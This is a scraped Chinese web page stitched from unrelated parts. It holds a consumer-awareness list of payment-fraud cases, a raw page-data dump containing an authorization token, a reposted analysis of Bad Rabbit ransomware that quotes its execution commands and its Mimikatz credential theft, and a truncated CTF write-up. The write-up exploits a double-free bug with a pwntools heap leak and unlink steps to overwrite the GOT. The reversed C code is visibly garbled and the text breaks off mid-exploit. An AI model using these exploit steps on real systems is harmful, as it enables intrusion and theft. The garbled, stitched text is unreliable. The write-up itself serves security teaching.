最近970事件很火.吴青峰怎么看张悬事件

盗刷案例汇总:告诉你怎么防范支付宝等应用被盗刷
世风日下,道德沦丧。自打小编来到移动支付网,隔三差五都看到有关诈骗的新闻出现,五花八门,无奇不有。并且与业内各前辈交流时,小编 从他们的眼神中看到了对各种软件的不信任。在“线上新闻”和“线下交流”的轮番轰炸中,小编也认为这个真善美的社会沦陷了、太尼玛吓人了。于是在一个月黑 风高的夜里小编一下把钱花光了(不要问怎么花),心想:终于安全了!骗感情可以,骗钱不行!
本着助人为乐的精神,移动支付网小编决定把这些诈骗案例一一记下,以便日后翻阅。
密码被盗相关案例
案件回放:
1、《男子捡到手机破解支付密码 盗窃两千多被批捕》——难度:※※
嫌疑人在机场捡到手机,回家后发现手机没有设置锁屏密码,在翻看手机时发现有机主的身份证以及银行卡信息,遂通过该信息对康女士微信支付密码以 及支付宝支付密码进行了破解,成功将康女士支付宝账户内的445.4元用于个人手机充值,将微信绑定的银行卡内的2070.76元通过微信红包转给了自 己。该案例告诉我们不要将重要的个人信息留在手机,钱要趁早花。
2、《信用卡被同步开通网上支付遭盗刷 银行被判担责20%》——难度:※※
蒋小姐向银行申请信用额度调整,后续便接到一个自称银行客服的电话,称可以帮其提高信用额度。但是调额度需要进行刷积分的操作,要求蒋小姐提供 银行发送到其手机上的实时动态密码。时间事件都这么巧合蒋小姐并没察觉不妥,到第三天才发现骗子分十四次通过网上支付的功能盗刷了22896元。关于自动 开通网上支付银行曾在其官方网站公示过,银行可以免除客户主动签约,由银行系统自动将签约交易与客户的首次支付交易合并处理。简单来说,就是在进行首次网 上支付时,会跳出一条关于网上支付开通的协议信息,用户勾选确认后就可以立即使用信用卡的网上支付功能。对此蒋小姐认为自己的信用卡被盗刷,银行应承担责 任,遂将银行方诉至浦东新区法院,要求银行赔偿其损失。最终法院认为银行确实违反了发卡行对其签约客户财产的安全保障义务,应承担次要责任。本案例属于利 用银行规则,随后通过电话(这个号码显示是银行的号码)骗取持卡人验证码信息,骗子也深知这么多用户总有上钩的,努力一点打电话就是。
3、《假身份证补办他人手机卡实现“迂回盗刷” 短信支付验证还能信?》——难度:※※※
被告人采用其事先办理好的被害人陆某的假身份证,到移动营业厅,冒充被害人并补办其手机号,后使用手机卡获取被害人绑定的银行账户支付验证码进 行购物消费,造成被害人陆某损失人民币2万余元。嫌疑人以相同手法共实施了10次盗窃,盗窃数额为 18万余元。其同伙阿群共参与实施了4次盗窃,盗窃数额为8.8万余元。在盗刷的世界里,一招鲜吃遍天!
4、《百度钱包78秒被盗刷5次拒绝赔付 曾承认有漏洞》——难度:※※※
吕女士的手机在1分18秒之内接到“百度糯米”客服发来的5条短信,提醒她团购了50份某面包品牌的团购券,共计970元。随后吕女士致电银行 冻结信用卡,然后向“百度糯米”客服申请退订团购券,并要求冻结账户。然而就在她的“百度钱包”账户被冻结后,其中1份价值194元的团购券还是被消费 了。受害人认为这不像人为盗刷,而是‘百度钱包’的系统被黑客攻破了,理由是冻结账户后还能消费。而百度客服回应也是用户泄露了自己的信息导致账户被他人 盗用,后台发送的支付密码的短信也被(木马)拦截。从翼支付、易联支付、支付宝、百度钱包等第三方支付盗刷来看,用户信息泄露几乎成为所有盗刷的源头。但 是除了信息泄露,第三方支付企业在风控机制上或多或少也存在问题。
总结陈词:
上述案例大多和获取数字密码有关,数字密码在日常生活中使用非常广泛,但也存在不少问题。越来越多的账户要管理,许多人都将不同账户设定一个相 同的密码,并且为了方便记忆又将密码设为生日等,这都为密码丢失埋下了伏笔。当然,密码丢失和个人信息丢失是有巨大关联的。至于手机号码、银行卡号、身份 证号等等信息是怎么丢的,谁说得清楚呢?
值得注意的是与网上这些“不法分子”相比,熟人也许才是更需要盯防的。他们可能对你的信息了如指掌,骗(偷)起来也更如鱼得水。
病毒相关案例
案件回放:
5、《短信连接不可靠 高考过后诈骗也跟潮流“查询考试成绩”》——难度:※※※
本例子同属带病毒的虚假链接诈骗。单独列出是提醒各位,骗子也会跟进潮流和当下热点相结合,骗起来更加事半功倍。这也是节假日这种盗刷案例频发的原因之一。
6、《双十一诈骗有方 山寨支付宝盗钱于无形》——难度:※※※※
山寨的支付宝软件看起来完全可以以假乱真,对于普通用户来说很难区分。山寨APP和支付宝钱包APP看似一样,打开后会要求用户冻结支付宝,提 示输入姓名、银行账号、密码等信息,一旦用户提交,这些信息会立即发送至骗子的手机中,然后利用这些信息更改支付宝密码,盗刷用户资金。利用山寨APP盗 刷常见于安卓平台,这也和安卓平台应用市场纷繁复杂有关。前往正规应用市场或APP官网下载应用也是防盗刷一个好习惯哦。
7、《扫码骗局:扫一扫4万块没了!附防范毒二维码的要点》——难度:※※※※
事情是这样的,王先生和妻子在武汉武珞路附近遇到一名男子扫二维码送水杯,妻子用他的手机进行了扫码。18日,他的手机曾多次向一个广东深圳的 号码发送可疑乱码短信:有一条短信提示“软件安装完毕”,还有以“湖北省交警”、“苏宁云商”等名义发送的网址,同时手机还在后台下载了多个可疑程序,晚 上就发生了盗刷事件。不过相信王先生绝对是点开了有毒的链接,微信扫一扫并不直接打开链接。
8、《看好账户!他靠这招拿到很多人的支付宝密码盗走12万》——难度:※※※
尹某在广东省佛山市、珠海市香洲区等地,在互联网通过购买、下载、交换数据等方式获得包含有他人支付宝等账户名称和密码信息的数据,再将该数据 输入到支付宝客户端验证,如果密码正确,便登录该支付宝账户,以“发红包”的方式直接盗走该账户的钱款,或以购买飞机票、高铁票、充值话费、游戏卡后再低 价转卖的方式套取现金,共计12万余元。个人信息在网上可以随意贩卖的时代,骗子很有可能根据这些信息瞎蒙都能蒙出密码来,所以复杂点的密码还是有好处 的,所有账号用同一个密码的人要小心了。
9、《破解第三方支付 17岁少年黑19万银行卡信息》——难度:※※※※
这是一个17岁少年的励志故事,穷苦少年在网吧打工自学网络编程,并且如饥似渴。少年建立起一个庞大的数据库,将用黑客技术在网络上获取的公民 个人信息进行分类筛选、匹配、重组,破解出19万条可直接在网上盗刷的银行卡信息,涉案金额14.98亿元。把这些信息卖给不法分子,由不法分子实施盗 刷,少年坐等获取分成。
总结陈词:
上述案例基本都和病毒相关,智能化的网络社会给人带来便利的同时也带来了威胁,一个链接就能让账户中的钱消失。但随着人们的防护意识的提高,不 能随便扫码、不点来路不明的链接渐渐成为共识。但是道高一尺魔高一丈,不法分子与时俱进地使用了多种手段结合的方式,大大提高了成功率。比如送礼物、孩子 在校xxx、中奖等等,想方设法引诱事主去点击带病毒的链接。看到这里我们不难发现,不法分子不单有可能知道你姓名、电话、住址,还有可能知道你有房没 房、已婚未婚、有没有孩子、孩子几岁等等信息。
转账相关案例
10、《支付宝转账截图藏猫腻 新手法已经骗了上百人》——难度※※
犯罪嫌疑人主要针对二手网站上出售的高档手机卖家作案,伪装成买家身份和对方联系,让同伙或者用打车软件寻找专车司机去和卖家见面,在网上下载 支付宝转账截图生成器来骗取对方信任。除此之外,犯罪嫌疑人窦某在一次无意间的交易发现,用银行给支付宝转账时,输错一位卡号,可以生成转账成功,银行正 在处理的界面,于是,他将网银转账凭证截图发送给受害人,以博取受害人信任,然后谎称钱款正在平台处理中,要在2小时后才能到账,多数受害人轻信并将手机 交给对方,事后数小时才发现被骗。这种诈骗方法最近很火,一般并不直接骗钱,而是骗物。
支付宝转账输错账号也能显示成功字样,利用该漏洞行骗最近很火。在面对面交易时,凭着一张虚假的转账截图换取货物,随后扬长而去。关于这种情况,都是支付宝的错,骂它就对了。
11、《央视关注支付安全 315曝光智能支付终端遭盗刷》——难度※※※※
通过配合硬件设施实现盗刷的方式,传统POS机简单改装一下即可轻松盗刷磁条卡,这都是老配方了。智能POS通过重放攻击等手段也能实现密码重现,进而盗刷。通过POS机盗刷需要专人指导或自学成本,难度四颗星。
12、《银行APP有漏洞 4天盗刷百张卡逼停银行扫码支付》——难度※※※
三名嫌疑人不小心发现了某个银行的手机APP有漏洞,只要卡号和密码就能转款,缺少了手机验证步骤。然后通过网友买来的银行卡信用卡资料,账号、姓名、密码等等。就这样大伙开开心心的刷了起来,总金额达到40万元,引来银行报警。
13、《付款码的骗局!一定要搞清楚付款码和收款码!》——难度※
诈骗本身非常简单并且容易上手,其过程简单到小编无法用文字来描述,只好放图。
央行315曝光的案例在于支付硬件的安全问题,众所周知更换芯片卡能有效预防此类盗刷的发。至于银行卡手机APP漏洞这以案例中,并没有指明是哪家银行,但是出现这种情况银行没错?
关于以上案例更多不为人知的前因后果、引人入胜的情节发展,到底是天网恢恢疏而不漏?还是年纪轻轻成为法外狂徒?马上走进移动支付网,按标题检索即可。
责任编辑:
声明:本文由入驻搜狐号的作者撰写,除搜狐官方账号外,观点仅代表作者本人,不代表搜狐立场。
今日搜狐热点安全大事件安全大事件很惭愧,只是做一点微小的科普关注专栏更多最新文章{&debug&:false,&apiRoot&:&&,&paySDK&:&https:\u002F\u002Fpay.zhihu.com\u002Fapi\u002Fjs&,&wechatConfigAPI&:&\u002Fapi\u002Fwechat\u002Fjssdkconfig&,&name&:&production&,&instance&:&column&,&tokens&:{&X-XSRF-TOKEN&:null,&X-UDID&:null,&Authorization&:&oauth c3cef7c66aa9e6a1e3160e20&}}{&database&:{&Post&:{&&:{&title&:&传播速度堪比 WannaCry 的“Bad Rabbit”勒索软件占领东欧&,&author&:&mrsk&,&content&:&\u003Cblockquote\u003E本文转载自 360 安全客。\u003Cbr\u003E原文链接:\u003Ca href=\&https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fbad-rabbit-ransomware-outbreak-hits-eastern-europe\u002F\&\u003EBad Rabbit Ransomware Outbreak Hits Eastern Europe\u003C\u002Fa\u003E \u003Ca href=\&http:\u002F\u002Fbobao.360.cn\u002Fnews\u002Fdetail\u002F4353.html\&\u003E【国际资讯】传播速度堪比WannaCry的“坏兔子 (Bad Rabbit)”勒索软件占领东欧\u003C\u002Fa\u003E\u003C\u002Fblockquote\u003E\u003Cimg src=\&v2-ecdaa3a8572ee07bedf62da1c13256f8.jpg\& data-caption=\&\& data-rawwidth=\&640\& data-rawheight=\&369\&\u003E\u003Ch2\u003E\u003Cb\u003E0x00 简介\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E一种新型勒索软件“坏兔子 (Bad Rabbit)”给多个东欧国家造成损害,同时影响 200 多个政府机构和私营企业。截至目前,俄罗斯、保加利亚和土耳其均遭受攻击。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E已证实的受害者包括乌克兰敖德萨机场、乌克兰基辅地铁系统、乌克兰基础设施部、三个俄罗斯新闻机构(包括 Interfax 和 Fontanka 在内)。乌克兰 CERT 团队已发布报告,警告乌克兰企业警惕此次攻击。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E这次,“坏兔子”的传播速度跟分别于今年5月份和6月份爆发的“想哭 (WannaCry)”和 NotPetya 攻击类似。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x01 Bad Rabbit 通过虚假 Flash 更新传播\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003EESET 和 Proofpoint 公司的研究人员表示,“坏兔子”最初通过虚假的 Flash 更新包传播,但它似乎自带可在网络内部横向转移的工具,这也可解释为何会在如此短的时间里会传播到多个组织机构中。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E卡巴斯基公布报告称,公司的遥测数据披露,“勒索软件是通过 drive-by 攻击传播的”,而且“受害者从合法新闻站点被重定向至虚假的含有虚假 Flash 更新包的网站上。”\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E根据 ESET, Emsisoft 和 Fox-IT 的分析来看,“坏兔子”通过 \u003Cb\u003EMimikatz \u003C\u002Fb\u003E从本地电脑的内存中提取凭证以及一长串硬编码凭证,它试图通过 SMB 和 WebDAV 访问位于同一个网络中的服务器和工作站。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E“坏兔子”是一个所谓的\u003Cb\u003E磁盘编码器,类似于Petya\u002FNotPetya\u003C\u002Fb\u003E。“坏兔子”首先会加密用户电脑上的文件,然后替换 MBR(主引导记录)。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E一旦“坏兔子”执行完任务,它就会重启用户电脑,并留下自定义的 MBR 勒索留言。勒索留言几乎跟 NotPetya 使用的留言没有任何区别。尽管如此,两者之间并无太多相似之处,Intezer 指出两者之间\u003Cb\u003E只重用了13%的代码\u003C\u002Fb\u003E。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E勒索留言要求受害者访问 Tor 网络上的一个站点并支付 0.05 比特币(约折合 280 美元)。而且受害者只有 40 多个小时的支付时间,否则勒索金就会上涨。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E“坏兔子”勒索软件似乎基于 \u003Cb\u003EDiskCryptor\u003C\u002Fb\u003E,它是一款开源的磁盘加密工具,跟今年年初攻击旧金山Muni交通服务的勒索软件 HDDCryptor 类似。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E“坏兔子”的源代码中也包含多种如 Grayworm 角色等的《权力的游戏》引用。另外,它还设置了三种任务“卓耿 (Dragon)”、“雷哥 (Rhaegal)”和“利昂 (Viserion) ”,而这三个名称均为《权力的游戏》中提到的龙。“坏兔子”并非首个提到《权力的游戏》引用的勒索软件。Locky 勒索软件攻击活动中所使用的其中一个脚本也包含类似引用。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg src=\&v2-8d695d22a0d916f5b290b139a38740a6.jpg\& data-caption=\&\& data-rawwidth=\&646\& data-rawheight=\&486\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x02 Bad Rabbit 技术细节\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E对“坏兔子”勒索软件的分析还在进行中,以下是一些已知信息:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E如之前所述,“坏兔子”目前针对的俄罗斯和其它东欧国家,通过已被黑站点展示虚假的 Adobe Flash 更新通知。当用户点击这些通知消息时,它就会下载一个名为 install_flash_player.exe 的文件。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E当 \u003Cb\u003Einstall_flash_player.exe \u003C\u002Fb\u003E执行后,它会释放另外一个文件 \u003Cb\u003EC:\\Windows\\infpub.dat \u003C\u002Fb\u003E并通过命令:\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003EC:\\Windows\\system32\\rundll32.exe C:\\Windows\\infpub.dat, #1 15\u003C\u002Fcode\u003E\u003Cp\u003E执行该文件。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg src=\&v2-289c1fa59e75c88b9fbab83fd46b4e86.jpg\& data-caption=\&\& data-rawwidth=\&447\& data-rawheight=\&561\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E执行后,Infpub.dat就会创建 C:\\Windows\\cscc.dat 和 C:\\Windows\\cscc.dat 文件。Cscc.dat 文件实际上是 DiskCryptor 中 dcrypt.sys Filter 驱动的重命名版本。Infpub.dat 随后会创建 Windows 服务 Windows Client Side Caching DDriver,后者用于推出 cscc.dat 驱动。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003EInfpub.dat 也会在用户登录到计算机时创建一个任务推出 dispci.exe 文件。这个任务即 Rhaegal(上文提到的《权力的游戏》中的角色“雷哥”)。该任务会执行\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003E\&C:\\Windows\\dispci.exe\& -id [id] && exit\u003C\u002Fcode\u003E\u003Cp\u003E命令。\u003C\u002Fp\u003E\u003Cp\u003Ecscc.dat 驱动和 dispci.exe 文件用于加密磁盘并修改 MBR 来展示勒索信息,如下:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg src=\&v2-6ecd6f291abbfe838623e.jpg\& data-caption=\&\& data-rawwidth=\&720\& data-rawheight=\&400\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Einfpub.dat 并未完成,而且还有很多花招未出手。安装好 \u003Ca href=\&https:\u002F\u002Fdiskcryptor.net\u002F\&\u003EDiskCryptor\u003C\u002Fa\u003E 组件后,它还会在用户计算机中执行用户模式的文件加密。这些文件使用的加密算法似乎是 AES。用于加密的 AES 加密密钥随后会通过一个嵌入式 RSA-2048 公钥加密。目前尚不知晓最终的加密密钥存储在哪里,但可能被添加至加密文件。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E当“坏兔子”加密文件时,跟多数勒索软件不同,它不会在所加密文件的名称后面添加新扩展。而是会在每个加密文件的末尾添加文件标记字符 “\u003Cb\u003Eencrypted\u003C\u002Fb\u003E”,如下。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg src=\&v2-bbeef5afd3071d32deb93b.jpg\& data-caption=\&\& data-rawwidth=\&660\& data-rawheight=\&640\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E最后,infpub.dat 也能够通过 SMB 传播至其它计算机中。它窃取受害者计算机中的凭证或包含用户名和密码的清单,然后经由 SMB 访问网络共享盘的方式传播。如果它能访问远程网络共享盘,那么它就会自我复制并在其它计算机中执行勒索软件。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003ESMB 流量示例如下:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg src=\&v2-98d0ec3d11c9eec566e3faaee0c94716.jpg\& data-caption=\&\& data-rawwidth=\&645\& data-rawheight=\&342\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E最终,“坏兔子”会再创建两项计划任务用于重启计算机。这些计划任务也是根据《权力的游戏》中的名称命名的,它们是“卓耿”和“利昂”。这些任务用于关闭和重启计算机以便在登录时执行其它程序或者最终在 Windows 启动之前显示启动锁定屏幕。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E由此可见,“坏兔子”内置着很多功能,随着各安全公司的分析进展,有望了解更多相关情况。我们将持续关注事态进展\u003C\u002Fp\u003E&,&updated&:new Date(&T10:25:31.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:18,&likeCount&:105,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:false,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T18:25:31+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-acb6ac93bf1a_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:18,&likesCount&:105},&&:{&title&:&将一个指针 free 两次之后会发生什么?&,&author&:&mrsk&,&content&:&\u003Ch2\u003E\u003Cb\u003E0x00 简介\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在入门 c 语言时我们都知道一个常识:通过 malloc() 动态申请的内存在使用完之后需要通过 free() 释放;那么如果因为程序设计不当,导致这块堆内存释放之后,再释放一次会发生什么呢?看起来这个操作似乎很愚蠢,但是 double free 的确是现代软件中十分常见的一种二进制漏洞。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E我将通过一个例子来说明 double free 可能造成的危害。这个例子是曾经的一道 0ctf 赛题。ctf 比赛通过简单演示常见计算机漏洞向参与者普及安全技术,是入门安全的较好方法之一。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cblockquote\u003E程序地址:\u003Cu\u003E\u003Ca href=\&https:\u002F\u002Fgithub.com\u002Fctfs\u002Fwrite-ups-Ftree\u002Fmaster\u002F0ctf-Fexploit\u002Ffreenote\&\u003Ehttps:\u002F\u002Fgithub.com\u002Fctfs\u002Fwrite-ups-Ftree\u002Fmaster\u002F0ctf-Fexploit\u002Ffreenote\u003C\u002Fa\u003E\u003C\u002Fu\u003E\u003Cbr\u003E环境:ubuntu 16.04 x86_64\u003Cbr\u003E工具:ida, pwntools, pwndbg\u003C\u002Fblockquote\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E逆向之后还原的代码如下,如果不想看全部可以先\u003Cb\u003E注意虚线处的 bug\u003C\u002Fb\u003E(reversed by \u003Ca class=\&member_mention\& href=\&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002F47bfda3f04f9dbfdc0177d\& data-hash=\&47bfda3f04f9dbfdc0177d\& data-hovercard=\&p$b$47bfda3f04f9dbfdc0177d\&\u003E@爱发呆的sakura\u003C\u002Fa\u003E ):\u003C\u002Fp\u003E\u003Ccode lang=\&objective-c++\&\u003E#include &stdio.h&\n#include &stdlib.h&\n#include &unistd.h&\n\ntypedef struct note {\\u002F\u002F是否存在笔记\\u002F\u002F笔记内容的长度\n
char *\u002F\u002F笔记内容\n}\ntypedef struct notes {\\\n
note notes256[256];\n}\n\nnotes *\n\nvoid allocate_space() {\n
base = (notes *) malloc(sizeof(notes));\n
for (int i = 0; i & 256; i++) {\n
base-&notes256[i].flag = 0;\n
base-&notes256[i].length = 0;\n
base-&notes256[i].content = NULL;\n
}\n}\n\nint read_choice() {\\n
puts(\&== 0ops Free Note ==\&);\n
puts(\&1. List Note\&);\n
puts(\&2. New Note\&);\n
puts(\&3. Edit Note\&);\n
puts(\&4. Delete Note\&);\n
puts(\&5. Exit\&);\n
puts(\&====================\&);\n
printf(\&Your choice: \&);\n
scanf(\&%d\&, &choice);\\n}\n\nvoid list() {\n
for (int i = 0;; i++) {\n
if (i &= 256) {\\n
if (base-&notes256[i].flag == 1) {\n
printf(\&%d. %s\\n\&, i, base-&notes256[i].content);\n
}\n}\n\nvoid read_content(char *temp, int str_len) {\\n
int read_\n
for (i = 0; i & str_ i += read_num) {\n
read_num = read(0, (void *) (temp + i), str_len - i);\n
if (read_num &= 0) {\\n
}\n}\n\nvoid new_note() {\n
int str_\u002F\u002F字符串长度\n
if (base-&length & base-&max) {\n
for (int i = 0;; i++) {\n
if (i &= base-&max) {\n \n
if (!base-&notes256[i].flag) {\n
printf(\&Length of new note: \&);\n
scanf(\&%d\&, &str_len);\n
if (str_len & 0) {\n
if (str_len & 4096) {\n
str_len = 4096;\n
printf(\&Enter your note: \&);\n
temp = (char *) malloc((128 - str_len % 128) % 128 + str_len);\n
read_content(temp, str_len);\n
base-&notes256[i].flag = 1;\n
base-&notes256[i].length = str_\n
base-&notes256[i].content =\n
base-&length++;\n
puts(\&Done.\&);\n
}\n}\n\nvoid edit_note() {\n
printf(\&Note number: \&);\\n
scanf(\&%d\&,&num);\\n
scanf(\&%d\&,&length);\n
if(length!=base-&notes256[num].length){\n
base-&notes256[num].content=realloc(base-&notes256[num].content,(128 - length % 128) % 128 + length);\n
base-&notes256[num].length=\n
printf(\&Enter your note: \&);\n
read_content(base-&notes256[num].content,length);\n
puts(\&Done.\&);\n}\n\nvoid delete_note() {\\n
printf(\&Note number: \&);\n
scanf(\&%d\&, &index);\n
base-&length--;\n
base-&notes256[index].flag = 0;\n
base-&notes256[index].length = 0;\n\n\u002F*------------------------------------------------------------------*\u002F\n\u002F*-------------------------- bug is here ---------------------------*\u002F\n
free(base-&notes256[index].content);\n\n\u002F*-------------------------------------------------------------------*\u002F
\n\u002F*-------------------------------------------------------------------*\u002F\n\n
puts(\&Done.\&);\n}\n\nint main() {\n
allocate_space();\n
base-&max = 256;\n
while (1) {\n
switch (read_choice()) {\n
list();\n \n
new_note();\n \n
edit_note();\n \n
delete_note();\n \n
puts(\&Bye\&);\n
return 0;\n
default:\n
puts(\&Invalid!\&);\n \n
}\n}\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E可以看到在\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003Efree(base-&notes256[index].content);\u003C\u002Fcode\u003E\u003Cp\u003E之后该指针并未置空,在随后的执行流程中可以再次 free 该指针造成 double free 漏洞。如果赋值为 NULL 则不会出现这个问题,释放空指针是安全的行为。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E并且注意到在\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003Ebase-&notes256[i].content\u003C\u002Fcode\u003E\u003Cp\u003E固定储存着 note0 字符串的地址,当然,在利用这个指针的时候还需要知道它的地址。然后通过触发 double free,更改存 note0 字符串地址的地方,覆盖 got 表,改变程序执行流程。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E下面讲具体实现过程。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x01 Info Leak\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E根据源代码可以看出 list 功能中存在一个疏漏可以导致泄漏未初始化的堆中的数据,如果\u003C\u002Fp\u003E\u003Cp\u003E泄漏地址需要用到两个 chunk,防止合并需要两个,所以首先添加 4 个 note。\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&176\& src=\&v2-de1aacefaba5504baa4d0a.jpg\& data-rawwidth=\&372\&\u003E\u003Cp\u003E这时候的堆布局:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&1594\& src=\&v2-21bb5fe87fea6af815f437a08bc7cf2b.jpg\& data-rawwidth=\&790\&\u003E\u003Cp\u003E将 0 和 2 释放之后,note0 chunk 中的 BK 将指向 note2 chunk:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&516\& src=\&v2-e701e364ebeff1a6df72.jpg\& data-rawwidth=\&882\&\u003E\u003Cp\u003E这时候添加一个长度小于等于 8 的 note,又将被分配到 note0 的地址,然后在打印其内容的时候将上次 free 后保存的 BK 指针一起打印出来。能这样做是因为,malloc chunk 是空间复用的,每一个 chunk 都只是一段连续内存,根据不同的情况,一个地址的数据可以被解释为用户数据,也可以被解释为堆指针。将这个泄漏的地址减去 1940h 就得到了 heap base。 知道 heap base 之后就可以计算出 base-&notes256[i].content.\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E泄漏地址之后,就可以释放所有 chunk。\u003C\u002Fp\u003E\u003Cp\u003E实现如下:\u003C\u002Fp\u003E\u003Ccode lang=\&python3\&\u003Efor i in range(4):\n
newnote('a')\ndelnote(0)\ndelnote(2)\n\nnewnote('murasaki')\n\ns = getnote(0)[8:]\nheap_addr = u64((s.ljust(8, \&\\x00\&))[:8])\nheap_base = heap_addr - 0x1940\nprint \&heap base is at %s\& % hex(heap_base)\n\ndelnote(0)\ndelnote(1)\ndelnote(3)\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x02 unlink()\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Eunlink 在空闲 chunk 合并时触发。在这里,因为不是 fastbin,在 free 时如果前后有空闲 chunk 就会触发 unlink:更改相邻 chunk 相关参数、指针,实现向前或者向后合并。我们可以通过触发 unlink(p, BK, FD), 造成 p = &p - 3,将不可写的地址转化为可写。 \u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E为什么呢?我们来回顾一下 unlink(p, BK, FD)的行为:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003E1. FD = p-&fd == &p - 3, BK = p-&bk == &p - 2\n2. 检查 FD-&bk != p || BK-&fd != p,可以利用一个已知指针绕过,即上一节泄漏的base-&notes256[i].content\n3. FD-&bk = BK
\u002F\u002F即 p = &p - 2\n4. BK-&fd = FD
